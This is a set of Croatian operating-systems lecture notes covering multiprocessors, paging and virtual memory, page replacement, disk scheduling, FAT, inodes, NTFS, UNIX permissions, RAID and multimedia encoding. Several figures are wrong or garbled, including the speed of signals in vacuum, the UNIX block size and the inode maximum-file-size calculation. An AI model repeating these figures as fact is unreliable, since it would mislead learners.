operacijski sustavi

33
Zašto višeprocesorski sustavi? Cilj inženjera i korisnika je više snage Napredovanjem programske podrške potrebna što veća snaga Problemi sa tim ciljem Prvotni pristup: ubrzati racunalo (MHz,-> GHz->…) Dolazimo do granica ostvarivosti toga cilja Einstein-ova teorija relativnosti Einstein-ova teorija relativnosti: Niti jedan elektricni signal ne može putovati brže od brzine svjetlosti: 20cm/ns u vakuumu ili 20cm/ns u optickom vlaknu ili bakru 1. sa brzinom takta od 10 GHz , signali ne mogu putovati dulje od 2cm, 2. sa brzinom takta od 100 GHz, signali ne mogu putovati dulje od 2mm 3. sa brzinom takta od 1000 GHz (1 THz) , racunala bi trebala biti manja od 100 µm Disipacija snage (topline) Smanjujuci velicinu procesora smanjujemo snagu (disipiranu toplinu), povecanjem brzine povecavamo toplinu, smanjenjem velicine takoder sve teže odvodimo toplinu sa procesora (zbog velicine kontaktne površine). Prvi pristup Moore’s Law: “The density of transistors on a chip doubles every 18 months, for the same cost” (1965) Drugi pristupi – višeprocesorski sustavi 2 kolokvij OS

Upload: hrvoje-kovacicek

Post on 07-Aug-2015

734 views

Category:

Documents


5 download

DESCRIPTION

-------

TRANSCRIPT

Page 1: Operacijski sustavi

Zašto višeprocesorski sustavi?

Cilj inženjera i korisnika je više snage

Napredovanjem programske podrške potrebna što veća snaga

Problemi sa tim ciljem

Prvotni pristup: ubrzati racunalo (MHz,-> GHz->…) Dolazimo do granica ostvarivosti toga cilja Einstein-ova teorija relativnosti

Einstein-ova teorija relativnosti:

Niti jedan elektricni signal ne može putovati brže od brzine svjetlosti: 20cm/ns u vakuumu ili 20cm/ns u optickom vlaknu ili bakru

1. sa brzinom takta od 10 GHz , signali ne mogu putovati dulje od 2cm,2. sa brzinom takta od 100 GHz, signali ne mogu putovati dulje od 2mm3. sa brzinom takta od 1000 GHz (1 THz) , racunala bi trebala biti manja od 100 µm

Disipacija snage (topline)

Smanjujuci velicinu procesora smanjujemo snagu (disipiranu toplinu), povecanjem brzine povecavamo toplinu, smanjenjem velicine takoder sve teže odvodimo toplinu sa procesora (zbog velicine kontaktne površine).

Prvi pristup

Moore’s Law: “The density of transistors on a chip doubles every 18 months, for the same cost” (1965)

Drugi pristupi – višeprocesorski sustavi

A. Višeprocesorski sustavi (multiprocessors)Procesori dijele istu memoriju

B. Sustavi sa više racunala (multicomputers)Komunikacijski sustav povezuje procesore

C. Distribuirani sustavi

2 kolokvij OS

Page 2: Operacijski sustavi

Ideja paralelnog programiranja

Paralelnim izvršavanjem dolazimo do ciljnog rješenja problema. Svaka dretva jedan procesor

Paralelizam

Model koji smo naveli je prejednostavan: Kako dodijeliti radne zadatke na radne dretve?Što ako imamo više procesora nego dretvi iliobrnuto?Kako povezati rezultate na kraju?Kako znamo da je sav posao gotov?Što ako je posao (zadatak) nedjeljiv?

Problem pristupa resursima Zlatno pravilo: svaka memorija kojoj pristupa više dretvi mora imati sikronizacijski mehanizam. Sinkronizacija je složena. Svi moguci nacin pristupa trebaju biti razmotreni. Potrebne brave koje treba koristiti konzistentno i korektno. Popravljanje grešaka je teško jer je teško precizirati slijednost zadatka.Treba svoditi zajednicke resurse na minimum radi jednostavnosti izvedbe

Brave

Što ako dva procesora žele rezervirati istu stranicu u memoriji Jedan od problema Koristimo brave da osiguramo situaciju

OS je podijeljen u nekoliko kriticnih dijelova (svaki kontroliran svojom bravom) koje mogu izvršavati procesori bez utjecaja jedni na druge. U primjeru može doci do blokade ako oba procesora žele postaviti bravu na navedenu rijec u memoriji.

Riješenje problema SPIN lockSpin locks omogucavaju višestrukih brava

Brava unutar brave

CPU vrijeme - scheduling

Jedan procesor Jednostavno slijedeca dretva

Više procesora Treba odabrati CPU i dretvu Što je sa povezanim dretvama? Rješenja:

I. Time sharing – nezavisne dretveII. Space sharing – zavisne dretve

III. Gang scheduling – zavisne dretve

Page 3: Operacijski sustavi

Višestruka racunala - multicomputers

Usko povezani procesori koji ne dijele memoriju

Poznatije kao: cluster, cluster of workstations

Topologije:

ͻ Zvijezda -Single switch

ͻ Prsten –ring

ͻ Polje – grid

ͻ Double torus

ͻ Kocka – cube

ͻ Hypercube

Povezanost sa switchem (ethernet)

Gdje se dijeli memorija?

Page 4: Operacijski sustavi

Load balancing

Serverski i klijentski orijentiran pristup

Višeprocesorski sustavi ↑

MPP – Massive parallel processing

Zauzece fizickog prostora Potrošnja snage Hladenje

ͻ 12, 1999. – Zapoceo razvoj na projektu blue gene Blue – IBM zaštitna boja Gene – za dekodiranje ljudskog genoma

ͻ 22.06.2006 – kemijski kvantomski procesi – 207.3 TFLOPSͻ 27.06.2007 – University of Nevada – simulacija polovice mišjeg mozga unutar 10 sek.

Power u kW

Pec za grijanje 4KW Prosjecna potrošnja kucanstva sa grijanjem 12kw HE ozalj 5.5MW HE Jaruga (Šibenik) 7,2MW

Deep Blue

Racunalo koje je prvo pobijedilo šahovskog velemajstora

Racunalo je radilo paralelno procesiranje svih mogucnosti igranja sa predvidanjem gdje vodipojedina odluka (odnosno da li je moguce ostvariti konacan cilj pobjedu)

Ne radi se o inteligenciji vec o brzom odlucivanju nad gomilom informacija i mogucih ishoda.

Page 5: Operacijski sustavi

Distribuirani sustavi

Distribucija se ocituje u aplikaciji

poznati primjer SETI projekt www.seti.org; Dobrovoljna distribucija zadataka na racunala po Svijetu;

Najveci distribuirani sustav

Virtualni adresni prostor

Za svaki proces OS generira virtualni adresni prostor

Proces misli da je cijeli njemu dostupan prostor fizicka memorija

Fizicka memorija Nema zaštite adresnog prostora Ogranicene velicine Lako i brzo pristupanje

Virtualni adresni prostor Svaki proces izoliran “beskonacne” velicine Svaki proces misli da pocinje od 0

Za rad sa memorijom odgovoran je poseban dio sustava : memory manager

Virtualna memorija

Za ubrzanje rada s memorijom moramo imati podršku sklopovlja:

Meduspremnik (cache) procesora Asocijativna memorijska tablica (TLB) Accessed , DIrty, White i Valid bitovi opisnika stranice Procesorski podržana zaštita memorije (read-write, read only za mjesto gdje se nalaze

instrukcije dretvi)

Page 6: Operacijski sustavi

Pristupi upravljanja memorijom:

I. Jednozadacni OS bez zaštite memorije: Program se uvijek izvršava sa istoga mjesta u memoriji Samo jedan program se može istovremeno izvršavati Program može adresirati bilo koju memorijsku lokaciju Adresiranje zašticenih lokacija dovodi do greške

II. Višezadacni OS bez zaštite memorije: Kada se prognam ucita u memoriju sve adrese se promijene Adrese poprimaju relativnu udaljenost od pocetka programa + adresa pocetka smještaja

programa Nema zaštite jedan proces može srušiti sve ostale procese

III. Višezadacni OS sa zaštitom memorije: Ciljevi:

Zaštititi OS od procesaZaštititi procese jedne od drugih

OstvarenjeTransformacija adresaKorisnicki/jezgrin mod rada

Transformacija adrese

Uvodimo translacijsku tablicu

Proces ne zna adrese drugoga procesa, ne može dirati kod i podatke OS-a. Pocetna adresa procesa 1 je drugacija od pocetne adrese procesa 2. Omoguceno dijeljenje podatka tako da se adresni prostoripreklapaju u stvarnoj memoriji (shared memory , vidi predavanje procesi)OS u jezgrinom modu može upravljati i modificirati translacijsku tablicu

Transformacija adrese

Proces misli da je cijelo racunalo posveceno njemu (memorija ide od nula do granice). I virtualni adresni prostor i fizicka memorija sesastoje od neprekinutoga slijeda adresa. Za svaki proces se odreduje baza i granica.

Bolje rješenje – Stranicenje

Glavna ideja je da se memorija podijeli na jednake dijelove – okvire (frames) iste velicinePostoji pravilo 90/10 koje utvrduje da procesi u prosjeku pristupaju dijelu od 10% memorije uvijek, ostatak memorije se koristi rijetkoBliže procesoru želimo držati tih 10%, dok onih 90% mogu biti na sporom mediju (recimo disku)Virtualne adrese procesa ostaju u slijedu , a stranice normalno nisu alocirane u slijedu u pravoj memoriji

Problem translacije adrese, kako pronaci stalnu adresu u memorijiKod stranicenja virtualne adrese identificiraju stranicu i pomak (offset)Uvodimo tabelu stranica ciji zapis sadrži okvir u memoriji gdje je neka stranica smještena

Page 7: Operacijski sustavi

Svaki proces ima svoju tabelu stranicaMapiranje (transformacija) adresa je nevidljiva od strane procesa

U tabeli stranica se osim adrese cesto cuvaju i Bit koji predstavlja informaciju da li je stranici pristupano Bit koji predstavlja informaciju kada se prvi puta piše Bit ako se stranici može pristupiti (informacije su tocne) Bit koji štiti stranicu da se na nju ništa ne zapisuje (read only)....

Velicina stranice (okvira) je uvijek potencija broja 2Tipicne vrijednosti 512-8192 byteva po stranici (win32-4k)

Ako je virtualni adresni prostor 2 a velicina stranice 2 onda m-n viših bitova virtualne adrese predstavljaju broj stranice N nižih bitova predstavljaju pomak (offset) od pocetka stranice

Npr za p=5 i d=33ͻ Gledamo 5 ti index u tabeli stranica i citamo baznu adresu npr 1000ͻ Stvarna fizicka adresa: adresa baze 1000+ adresa pomaka=1033

Kod 32bitnih racunala virtualna adresa se sastoji od 32 bita; Neka je velicina stranice 4kB (4096, 212); To daje 12 bitova za pomak i 20 bitova za broj stranice.; Možemo imati 1MB stranica (220)

Optimalna veličina stranice i tabele stranica

Ako pristupamo adresi X , velika je vjerojatnost da cemo pristupati X+1 adresi Ako adresi X pristupamo u vremenu t , velika je vjerojatnost da cemo ponovno pristupati adresi X u vremenu t+delta, gdje je delta mali vremenski period

Premala velicina stranice Nece pokriti slijedne varijable velika velicina tablice stranica

Prevelika velicina strance Interna fragmentacija memorije

Gdje držati tablicu tabelaU fizickoj memoriji se troši prostor na nju. Uoblicimo je u neku strukturu podataka i držimo u virtualnoj memoriji na disku.

Višerazinsko stranicenje

U fizickoj memoriji se drži umanjena tablica stranica (page directory) koja locira dijelove stvarne tablice stranicaDvorazinska tabela stranica

Virtualna adresa se sastoji od Vanjski indeks (page directory index) Unutarnji indeks (page table index) Offset (byte index)

Za svaki proces page directory index bi se mogao cuvati u registru procesora

Page 8: Operacijski sustavi

Rukovanje pogreškom stranicePokušaj pristupa stranici koja nije ispravna (valid) zove se pogreška stranice (page fault)

Sklopovlje generira iznimku (exception)OS zadužen za upravljanje memorijom preuzima kontrolu (memory manager fault handler)Ako nije moguce riješiti problem generira se iznimka (access violation)

Razlozi za generiranje iznimke:a) Pristupanje stranici koja nije u memoriji vec se nalazi na disku. OS ucitava željenu

stranicu u memorijub) Pristupanje stranici iz korisnickog moda, ako je stranica ogranicena na jezgrin mod.

Access violation iznimkac) Pokušaj pisanja u read-only stranicu , access violationd) Pokušaj pisanja u copy-on-write stranicu. U ovom slucaju OS pravi kopiju stranice u kojoj

proces može dalje raditi

Što se dogada kod pogreške stranice: Predaje se kontrola memory manageru u OS-u (generira se iznimka) Spremi registre i stanja dretve Nadi traženu stranicu na disku Odaberi okvir u fizickoj memoriji gdje ce se stranica ucitati Zapiši okvir koji se trenutno drži u memoriji na disk Ucitaj stranicu sa diska na okvir Modificiraj tabelu stranica us skladu sa promjenama Ubaci stranicu u TLB Vrati stanje registara i procesa Ponovno izvrši naredbu koja je uzrokovala pogrešku

Dva pristupa disku jedno citanje i jedno pisanjeSada je vrijeme promašaja T=25ms. Za Tef=120ns trebao bi postotak promašaja biti jedan u milijun!

Virtualna memorija

Datoteka stranica - Page fileU njega se spremanju modificirane stranice koje procesi koriste ali su morale biti spremljene na diskProširenje glavne memorije

Radni skup stranica – working set Podskup virtualnih stranica koje operacijski sustav drži u memoriji Radni skupovi za svaki proces i sistemski radni skup Za svaki proces se definira minimalna i maksimalna vrijednost radnog skupa U slucaju promašaja OS ucitava stranicu sa diska u radni skup U ovisnosti o kolicini radne memorije, limitu radnog skupa

Stranica se ucitava i radni skup se povecavaZamjenjuje se neka postojeca stranica iz radnog skupa sa novom

Kada OS ustanovi da se smanjila kolicina radne memorije na racunalu cisti radne skupove od stranica na kojima je bilo malo pogodaka.

Page 9: Operacijski sustavi

Strategije dohvacanja stranica

Strategije dohvacanja stranica odreduje kada OS ucitava stranicu sa diska umemoriju

Stranica se ucitava prije nego je proces treba (preefetching) Stranica se ucitava kada je potrebna (demand paging)

Kod demand paging broj pogrešaka kod pokretanja procesa je velik i sa vremenom se smanjujeKod modernih OS-a koristi se demand paging u kombinaciji sa read-ahead tehnologijom koja cita kod pogreške nekoliko stranica unaprijedNije poželjno držati previše stranica u memoriji jer se može dogoditi da kod pogreške nemamo mjesta u memoriji i da moramo pohranjivati sadržaj stranica prije ucitanih.Referentni string

o Struktura podataka koja predstavlja listu stranica koje su referencirane (kojima je pristupano)

o Ako korisnicki program pristupa slijedecem nizu adresa: 123,215,600,1234,76,96 i ako je velicina stranice 100 onda je referentni string: 1,2,6,12,0,0

Algoritmi zamjene stranica u virtualnoj memoriji

FIFO Optimalni LRU (Least Recently Used) Algoritam za zamjenu stranica sa brojacem LFU (Least Frequently Used) Efikasnost algoritma je broj pogrešaka stranice / ukupan broj pristupa Auditorne….

Alociranje stranica - UNIX

Buddy algoritamSvaki zahtjev mora biti potencija broja “2”. Pocinje se od 64 stranice

Zahtjev se smanjuje dijeljenjem sa 2 dok se ne dobije iznos koji se dodjeljuje procesuVelika je vjerojatnost da kod slijedeceg zahtjeva lako dodijelimo “tocan” novi iznos memorijeSlaba vjerojatnost pojave fragmentacije

Odbacivanje stranica kod virtualne memorije – PFRA algoritam - UNIX

Kružni algoritam izbacivanja Prvim dohvatom stranica je referencirana drugim dohvatom stranica postaje aktivna (od neaktivne) Svakim prolaskom pokazivaca stranici se skida:

Prvo bit referenceZatim bit aktivnosti

Page 10: Operacijski sustavi

PFRA – page frame reclaiming algorithm

četiri tipa stranica:

1. UnreclaimableRezervirane, zakljucane straniceNajcešce od kernelaNe mogu biti izbacene

2. Swappable Moraju biti zapisane u swap prije nego budu izbacene

3. SyncableMoraju biti zapisane na disk prije odbacivanja

4. DiscardableMogu se izbaciti bez zapisivanja – nad ovima se vrti PFRA

Podizanjem linuxa podiže se kswapd (daemon) cija uloga je da svako odredeno vrijeme se izvrši i provjeri broj slobodnih stranica. Ako ih nema dovoljno pokrece PFRA i oslobada uvijek odredeni brojstranica tako da ukupan broj slobodnih uvijek bude XX (ovisno o konfiguraciji kernela , najcešce 32).

Radi olakšanja rada PFRA algoritma i punjenja discardable stranica postoji još jedan daemon pdflush koji se budi svakih YY vremena (default 500msec) i čija je uloga da pronade stranice koje nisu dugo korištene, a tipa su swappable i syncable te ih zapisuje na disk i pretvara u dip discardable

DISK

Svrha diska Kao pomocni i dopunski spremnici koji pri izvodenju programa nadopunjuju memorijski

prostor racunala Kao skladište za trajno cuvanje svih vrsta datoteka

Svaki disk sastoji se od: Elektromehanicke komponente koju sacinjavaju jedna ili više okruglih ploca presvucenih

magnetskim materijalom koje se vrte konstantnom brzinom s mehanizmom magnetskih glava koje se mogu pomicati približno radijalno iznad ploca.

Upravljackog sklopa, spremnika, sucelja prema elektromehanickom dijelu i sucelja prema sabirnici racunala

Građa diskaSve ploce su ucvršcene na istu osovinu i vrte se brzinom omega. Glave se mogu precizno postaviti na pojedinu plocu i kretati se duž radiju ploce.Staze jednakih polumjera leže na zamišljenom plaštu valjka i zovemo ih cilindrima (cylinder)Staza je podijeljena na jednake dijelove (kružne lukove) koje nazivamo sektorima (sector)Na disku se ne adresiraju pojedinacni bitovi vec blokovi podataka (clusteri)

Page 11: Operacijski sustavi

Vremenska svojstva diska

Osnovna mjera za usporedivanje diskova je: Prosjecno vrijeme dohvata sektora na disku

Odredena pretežito elektromehanickim komponentama Vrijeme dohvata sektora: Vrijeme postavljanja glave (head positioning time)

Trajanje traženja staze (seek time)Uzima se vrijeme koje potrebno za prijelaz trecine ukupnog broja staza (glava u prvom dijelu ubrzava)

Rotacijsko kašnjenje (rotational latency)Vrijeme prolaska glave kroz polovicu staze (prosjecno vrijeme)

Trajanje prijenosa podataka (data transfer time)Broj sektora na stazi x broj batova / trajanje jednog okretaja

Organizacija rada diska

Svaki disk ima red zadaca koje cekaju na pristup diskuZadace mogu biti pisanje ili citanje sa diskaSvaka zadaca sadrži informacije:

I. Pokazivac na memorijski lokaciju sa koje se cita/na koju se pišeII. Broj sektora na disku kojem se pristupa

III. Pokazivac na slijedecu zadacu

Broj procitanih/upisanih podataka je obicno fiksan (blok)

Možemo pretpostaviti da se disku pristupa preko broja sektora (iz toga podatka možemo izvuci broj sektora, glave, cilindra na disku). Što operacijski sustav može uciniti da ubrza ukupno vrijemecitanja/pisanja. Treba napomenuti da je prosjecno vrijeme pristupa disku oko 9ms

Referentni string - struktura podataka koja predstavlja listu brojeva sektora kojima razlicite zadace pristupaju.Seek distance - ukupna udaljenost izmedu sektora pojedinih zadaca iz referentnog stringa; direktno proporcionalan vremenu pristupa

Algoritmi rasporedivanje poslova diska

FCFS SSTF SCAN (dizalo) C-SCAN (jednosmjerno dizalo)

Alokacija diskaKao i kod memorije moramo pratiti koji si blokovi na disku slobodniProstor na disku se alocira u sektori,a lista slobodnih blokova se pohranjuje na diskCluster- logicki sektor,skupine sektora (1k, 16k..)Kada bi cluster odgovarao stranici memorije bio bi jednostavni transfer podataka u meduspremnikProblem: interna fragmentacija, minimalna velicina datoteke mora biti velicina clusteraRadi nepredvidivosti gdje se nalazi slobodan blok potrebna je informacija za svaki pojedini clusterBit vektor – 0010010000000111 – slobodni blokovi 2,5,13,14 i 15

Page 12: Operacijski sustavi

Znacajno ubrzava procjenu popunjenosti diskaProcesori podržavaju operacije sa bitovimaZgodno da se bit vektor nalazi cijelo vrijeme u memoriji!mora se ga cesto zapisivati na disk, radi oporavka u slucaju resetiranja

Formatiranje diska Fizicko formatiranje

Kreiranje sektora i traka na magnetskom mediju. Obavlja se obicno u tvornici. Svaki sektor sastoji se od zaglavlja i posebnog dijela na kraju koji sadrži dodatne informacije o svakom sektoru (broj sektora i korekcijski kod).

Logicko formatiranje je drugi korak pri formatiranju sustava.Kreira se datotecni sustav. Neki operacijski sustavi imaju mogucnost da tretiraju disk kao slijedni niz blokova (velike baze podataka, raw pristup)

Loši blokovi na disku Defekti magnetskih medija Prilikom formatiranja oznacavali su se u zasebnoj strukturi Cilj je da to radi kontroler i da se uvedu rezervni blokovi (SCSI)

Alokacija diska Povezana listaSvaki slobodni blok cuva pokazivac na slijedeci. Da bi uzeli slobodan blok uzimamo prvi iz liste. Degradacija performansi ako moramo slijediti blokove radi zauzimanja veceg prostora na disku

Alokacija prostora za datoteku Vecina datoteka se velicinom mijenja u vremenu. Za datoteke kojima se pristupa sekvencijalno trebalo bi alocirati sekvencijalni prostor. Za datoteke kojima se pristupa slucajno (baze podataka)trebalo bi takoder osigurati pristojne performanse. Datoteke se stalno stvaraju i uništavaju – ekstremna fragmentacija diska. Pristup diskovima je jako spor (zgodno je uranjeno citanjeblokova u meduprostor ili stalni pogodci meduprostora).

Uzastopna alokacijaNajidealnija metoda - Datoteka kada se stvara odreduje joj se maksimalna velicina i za nju se predvida taj prostor u slijedu. Dolazi do ektremne fragmentacije diskaKako znamo koliko ce datoteka biti velika?Što napraviti ako datoteka premaši svoju maksimalnu vrijednost? Koliko vremena troši preslagivanje diska? Da li korisniku reci da nema prostora ako se sve cuva za podatke koji ce se možda u buducnosti pojaviti. Ipak radi vrlo dobrih performansi ova metoda se cesto primjenjuje

Povezana alokacijaSvaki blok koji je dodijeljen datoteci sadrži pokazivac na slijedeci blok u nizuDatoteka može lako rasti i nema ekstremne fragmentacijeSlijedni pristup više nije onoliko brzi kao kod uzastopne alokacijeKod slucajnog pristupa imamo loše performanse jer imamo puno skakanja po diskuNedostatak je neotpornost na pogreške i nepouzdanost, gubitak jednog pokazivaca uništava datoteku i nema mogucnosti njegova pronalaska

File allocation table (FAT)Dio diska rezerviran je za tablicu FATFAT je ekstenzija povezane alokacije samo što pokazivaci nisu na kraju bloka vec u FAT tabliciTablica se može lako pretraživati cime se ubrzava slucajni pristup

Page 13: Operacijski sustavi

Svi blokovi na disku moraju biti ukljuceni u FAT tablicu

Kolika je velicina FAT tabele ako je velicina clustera 4KB i velicina diska 16GB. Broj polja u tabeli je oko 4 milijuna i ako uzmemo da je velicina svakog polja 4byte, cijela FAT tablica je 16MB. U FAT tablici oznacimo da li je blok slobodan ili nije.

Nedostaci FAT-aDa bi smanjili velicinu tablica, povecana je velicina clustera, dovodi do znacajne interne fragmentacijeOgranicena velicina datoteka 2GB. Kako se FAT prenosi u memoriju, problem sa oporavkom sustava u slucaju pada OS-a (nestanak struje). Nema zaštite od neovlaštenog pristupa pojedinim datoteka,a (svi podaci su zapisani u FAT tablicu)

Indeksirana alokacijaInformacije o blokovima u zasebnoj datoteciTa datoteka se zove index node (inode) i sadrži pokazivac na blokove koje trenutno posjedujeVelicina datoteka odredena brojem poljem inode-aVelicina inodea 40byte-a , najviše 10 pokazivaca, maksimalna velicina datoteke 10kBZa velike datoteke velike inode, za male gubitak prostora zato se koristi višestrukaindeksacijaUNIX- velicina inode 128byte

Prvi dio inode spremanje informacija o datoteci (meta data)Ostatak 13 pokazivaca

10 direknih pokazivaca na blokove datoteke1 indirektni pokazivac na blok koji sadrži samo pokazivace na blokove1 dvostruko indirektni pokazivac-pokazuje na blokove koji sadrže indirektne pokazivace1 trostuko indirektni pokazivac –pokazuje na blokove koji sadrže dvostruko indirektne pokazivace

Kod UNIX-a velicina bloka 10kB; Za male datoteke 10 blokovaKolika je maksimalna datoteka koja se može alocirati ako u jedan blok može stati 256 pokazivaca 1024/410 (direktni)+256 (indirektni)+256*256 (2 indirektni) + 256*256*256 (3 indirektni) =16GBDatoteka inode se cuva na fiksknoj lokaciji diska i nije vidljiva korisniku

NTFS (NT File system)Particioniranje riješeno u oba smjera

Jedan logicki disk može biti sastavljen od više fizickih diskova Jedan fizicki disk može biti rastavljen na više logickih diskova

Maksimalna velicina logickog diska je 224byteVelicina clustera varira 512,1k,24 ili 4kLCN –logical cluster number – od 0 do broj clustera -1VCN – virtual cluster number – clusteri datotekeMapiranje podataka MFT – mater file tableDatoteka riješena kao skup atributa (objektni pristup)

Svaki atribut nezavisan niz byte-ovanad kojim se mogu vršiti operacije pisanja, citanja... Atributi su ime datoteke, vrijeme stvaranja, sigurnosni podaci i neimenovani atribut

(unnamed) sadržaj (podaci)

Na najvišem nivou NTFS se može promatrati kao lista datoteka prikazana pomocu zapisa datoteke. Velicina zapisa je minimalno velicina clustera.Lista (tablica) se naziva MFT –master file table i u stvarnosti je to isto datoteka na odredenom mjestu

Page 14: Operacijski sustavi

Ako ne stane atribut u MFT zapisuje se u slijedece sektore iza MFT-a koji se nazivaju run ili extend. Takvi atributi se nazivaju nerezidentni atributi.

Specificnosti file systema – UNIX linkSadržaj odredenog direktorija povezuje se na drugi direktorijTo nije shortcut !

brisanjem originala shorttcut ostaje i pokazuje na nigdjeBrisanje originala linka nestaje i linkPoveznica je cvršca i može se koristiti u svim programima (“nije samo brzi pristup ikona”)

UNIX mountNe postoje diskovi vec se naredbom mount uredaj spaja u osnovni filesystem /Uredaju se pristupa ulaskom u direktorijTj kao da na windowsima u c:\ imamo direktorij b i ulaskom u taj direktorij pristupamo sadržaju dvd-a (ne postoji d:\!)

UNIX lockDva tipa

Shared – drugi proces može citati, ali ne pisati Exclusive lock – pristup i pisanju i citanju zabranjen

Lock je moguce na block ili pojedini byte

UNIX nazivlje Cetiri tipa objekata

I. Superblock – struktura file systemaII. Dentry – unos direktorija, jedna komponenta staze

III. i-node – unos datoteke (r-node kod Network File Sytem)IV. File – otvorena datoteka od strane nekog procesa

Ext3 i nadalje podržavaju tehnologiju journal Vodenje dnevnika izmjena koji osigurava obnovu u slucaju razrušenja

Postoji još jedan specifican /proc filesystemSadrži podatke o svim procesimaSadrži podatke o stanju operacijskog sustava

Svi mogu vidjeti te podatke koji se dinamicki mijenjaju i nastaju podizanjem operacijskog sustava

UNIX securitySvaki objekt ima

Vlasnika (UID – jedinstveni identifikator) Grupu kojoj pripada (GID –jedinstveni identifikator) UID 0 = root (superuser)

Tri tipa dozvola za svaki objektI. Dozvole vlasniku datoteke (r-read, w-write i x-execute)

II. Dozvole svim clanovima grupe (r-read, w-write i x-execute)III. Dozvole svim ostalima (r-read, w-write i x-execute)

Iznimno za neke procese moguce je postaviti SETUID ili SETGID bit:Kada se proces izvrši od strane korisnika poprima dozvole koje je za njega predvidio vlasnik (izvršava se kao da ga je pokrenuo vlasnik, a ne korisnik). Taj biti može postaviti samo vlasnik

Zalihost

Page 15: Operacijski sustavi

Postoji ce broj ostvarivanja zalihost u datotecnim sustavima

Polje diskova sa ugradenom zalihošcu RAID – Redundand Array of Independend Disks RAID – Redundand Array of Inexpensive Disks

Osnovna RAID polja RAID-0 do RAID-6Postoje kombinacije polja

RAID controller

specijalizirani uredaji koji izvode RAID polje na SATA, SCSI i ATA uredajimaATA ogranicena brojem diskova (2 po kanalu), SCSI 7 po kanaluskupo zbog komplicirane implementacijeuvijek specificni upravljacki uredajimemorija za cache 4MB-256MB velike brzinesa ukljucenom baterijom kako bi podatci bili stvarno snimljeniOdlike:

broj kanala brzina kanala kolicina memorija baterijska sigurnosna kopija sabirnica (PCI) širina sabirnice (16,32,64)

Programski vs. sklopovski RAID (pa čak i tigraste komarce)zbog skupog sklopovlja implementira se i programskiprogramski podržani najcešce RAID 0,1 i 5nedostatak programski nepotrebno zauzece procesoraSustav ne može biti podignut sa RAID-5 polja jer ne može odmah poceti citati sa paritetomPrednosti programski može biti ostvaren nad particijama, a ne nužno nad cijelim diskomTri 10GB particije mogu ciniti RAID 10GBkoliko je takva redundancija isplativa ???i na kraju koliko RAID cuva disk ako OS nešto krivo zapiše i uništi podatke na svimdiskovima....

Multimedija

Multimedija podrazumijeva medije: DVD (Digital Versatile Disk)

120-mm policarbonatski diskKapacitet 5GB-17GB ovisno o formatu

Nasljednici DVD-ablueRay25GB – 50GBHD DVD_ 15GB-30GB

Multimedia over Internet ADSL ili Cable TV

I još je toga ostalo: Distribucija zemaljskih i satelitskih programa Video-on-demand

Page 16: Operacijski sustavi

Video se šalje prema zahtjevuVeliko opterecenje mreže

Potreba za video serverom koji distribuira streamingPotreba za set-top box kod klijenta za prihvacanje distribuiranog streaminga

Osnovne karakteristike multimedije Zahtjeva se real-time produciranje sadržaja Radi kvalitete slike zahtjev za izuzetno velikim prijenosom podataka

Potrebna je mogucnost pohrane i prijenosa!Rješenje ogranicenja prijenosa je kompresija

Nedostatak tog rješenja je potreba za sklopovljem za kompresiju i dekompresiju

Zahtjevi za opterecenjem mrežeJitter – promjene brzine dostavljanja podataka (prerano ili prekasno) 100-200 msec varijacija uzrokuje zastajkivanje slike ili prekid zvuka (Charlie Chaplin film)Quality of service (QoS) u mreži rješava probleme vezane uz mogucu pojavu jittera-a

Prosjecni bandwidth – 4Mbps Min i max kašnjenje – 105-110msec Vjerojatnost gubitka podatka - 10-10 Dovoljno za MPEG-2

Rezervacija resursa za pojedinog korisnika !

Multimedijske datotekeSastoje se od više razlicitih tipova datoteka integriranih ili razdvojenih, ali moraju raditi kao cjelina

Encoding Analogni signal slike

Svaki pokret da bi bio vidljiv kao cjelina mora se sastojati od 50slicica/sec Svaku slicicu nazivamo frame (okvir). Minimalno enkodiranje da bi pokret bio vidljiv zahtjeva 25 slicica u sekundi gdje se cita svaki drugi red u jednom prolazu – interlacing, suprotno je progressiveSvaka boja se kodira zasebno (R – red, G-green, B-blue). Kombinacija signala sve tri boje se naziva composite signal. Radi kompatibilnosti iz RGB signala se lako konstruira Luminance i chrominance signal

Digitalni signal slikeSvaki element slike se naziva pixel. Definira se rezolucija koja kaže koliko pixela ima pojedini frame 8 bita po boji u pixelu daje 224 kombinacija= 16 miliona boja. Da bi se producirao kontinuirani pokretno potrebno je minimalno 25 frame/secKako monitori uglavnom osvježavaju na 75Hz interlacing nije potreban

Dva pojma jerky i flickeri. Ako je usporen pokret pri 20 frame/sec slika ce treperiti (flicker)

ii. Ako je ubrzan pokret pri 20 frame/sec pri velikoj brzini osvježavanja slika ce trzati (jerky)Eventualna dodatna kompresija može biti MPEG

Kompresija MPEGMPEG (Motion Picture Expert Group)

MPEG-2DVD standard (720x480 NTSC)

DV standardPojednostavljenje MPEG-2 algoritma

Page 17: Operacijski sustavi

Ideja je koristiti JPEG kompresiju i definirati tri tipa frame-a:I – Intracoded – JPEG slikeP – Predictive – Promjena bloka slike u odnosu na prethodnu slikuB – bidirectional - Promjena bloka slike u odnosu na prethodnu sliku ili slijedecu sliku !

Filmovi sa brzom akcijom zahtijevaju I frame.Filmovi sa sporim promjenama koriste P i B frame (Što je recimo sa nogometnom utakmicom )

Audio signalSmislen frekvencijski okvir za pretvprbu je 20-20000Hz. Potreban analogno-digitalni pretvarac (ADC). Analogni signal se uzorkuje (sempling) u odredenim vremenskim momentima (druga slika)Uzorkovani signal se kvantizira na najslicniju vrijednost (treca slika). Zbog odredenog broja kvantizacijskih nivoa uvodimo pojam kvanzizacijskih smetnji (quantization noise).

Frekvencija uzorkovanja signala i broj bitova po uzorku odreduju kvalitetu zvuka16 bit sample – CD quality44100 sample/sec – CD quality

Eventualna dodatna kompresija može biti mp3 kao najcešci standard

Multimedijski operacijski sustavRazlike:

Dodjela CPU vremena procesimaDatotecni sustavDodjela vremena diska

Homogeni video procesi Video server sadrži filmove

Isti broj frame/secRezolucijaData rate…

Svaki proces je jedna dretvaSvaka dretva cita diskI poslužuje film korisnikuSve dretve imaju isti prioritet i izmjenjuju se nasumce (round robin)

Može se osigurati sat koji pokrece procese (dretve) u jednakim vremenskim intervalima ovisno o trajanju frame-a (NTSC – 20 puta u sekundi ili PAL – 25 puta u sekundi)Funkcionira dok broj dretvi nece zbog prevelikog posla ne obaviti posao dok dode slijedece pokretanje.

Nehomogeni video procesiPraksa kaže da je homogeni sustav rijedak

Mijenja se broj korisnika Mijenja se video kompresija okvira (P i B – okviri) Mijenja se rezolucija pojedinog filma

